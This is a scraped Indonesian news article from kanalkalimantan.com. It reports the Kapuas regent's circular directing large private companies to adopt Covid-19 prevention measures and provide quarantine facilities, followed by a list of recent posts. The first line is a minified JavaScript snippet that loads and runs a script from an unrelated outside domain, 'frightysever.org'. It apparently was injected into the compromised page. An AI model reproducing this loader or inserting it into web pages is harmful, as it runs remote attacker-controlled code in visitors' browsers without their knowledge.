(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Bupati Kapuas Minta PBS Siapkan Tempat Karantina Mandiri


KANALKALIMANTAN.COM, KUALA KAPUAS – Pencegahan dan pengendalian penyebaran wabah Corona Virus Disease 2019 (Covid-19) di lingkungan Perusahaan Besar Swasta (PBS) di Kabupaten Kapuas, Bupati Kapuas Ir Ben Brahim S Bahat mengeluarkan surat edaran nomor : 360/259/SATGAS-COVID/KPS.2021.

Dalam surat edaran tersebut Bupati Kapuas meminta kepada pimpinan dan manajemen perusahaan untuk mengupayakan pencegahan penyebaran dan penanganan kasus terkait Covid-19 di lingkungan kerja areal perusahaan dengan beberapa upaya.

Pertama, melakukan antisipasi penyebaran Covid-19 pada pekerja/buruh dengan melakukan tindakan-tindakan pencegahan seperti perilaku hidup bersih dan sehat dengan mengintegrasikan dalam Program Keselamatan dan Kesehatan Kerja (P2K3) dan optimalisasi fungsi pelayanan kesehatan kerja.

Baca juga: Bupati Banjar Pimpin Rakor Penanggulangan Kemiskinan

 

Kedua, melakukan pengawasan terhadap aktifitas pekerja/buruh agar dalam pelaksanaan aktifitas selalu menerapkan protokol kesehatan dengan menerapkan 5M (memakai masker, mencuci tangan pakai sabun, handsanitizer, menjaga jarak, menghindari kerumunan dan mengurangi mobilitas). Memperbanyak fasilitas tempat-tempat cuci tangan di areal perusahaan, serta melakukan disinfeksi di lingkungan perusahaan secara rutin dan terjadwal.

Ketiga, melakukan pengawasan terhadap mobilitas pekerja buruh maupun orang yang berkunjung ke perusahaan, memastikan setiap orang yang masuk ke perusahaan dalam keadaan sehat dan tidak terindikasi gejala Covid-19 dengan melakukan prosedur pengawasan ketat.

Bupati Kapuas mengimbau, mengoptimalkan fungsi fasilitas pelayanan kesehatan klinik yang ada di perusahaan untuk pencegahan dan penanganan Covid-19, dengan menyiapkan fasilitas dan sarana serta prasarana yang memadai, tenaga kesehatan dan sumberdaya manusia yang terlatih.

Kelima, menyediakan tempat karantina dan mengoptimalkan penggunaan fasilitas karantina perusahaan khususnya bagi pekerja buruh yang melakukan karantina mandiri.

Perusahaan besar swasta juga diminta meningkatkan koordinasi dan komunikasi dengan Satgas penanganan Covid-19, serta melaporkan setiap kasus konfirmasi yang terjadi di lingkungan perusahaan. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Risa

Recent Posts

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

23 menit ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

3 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

4 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

5 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

7 jam ago

Hari Ini Masuk Asrama Haji, Kloter 1 Embarkasi Banjarmasin Berangkat Minggu

KANALKALIMANTAN.COM, BANJARBARU - Jelang kedatangan rombongan jemaah Haji Embarkasi Banjarmasin Kloter 1, Sabtu (11/5/2024), Petugas… Read More

7 jam ago

This website uses cookies.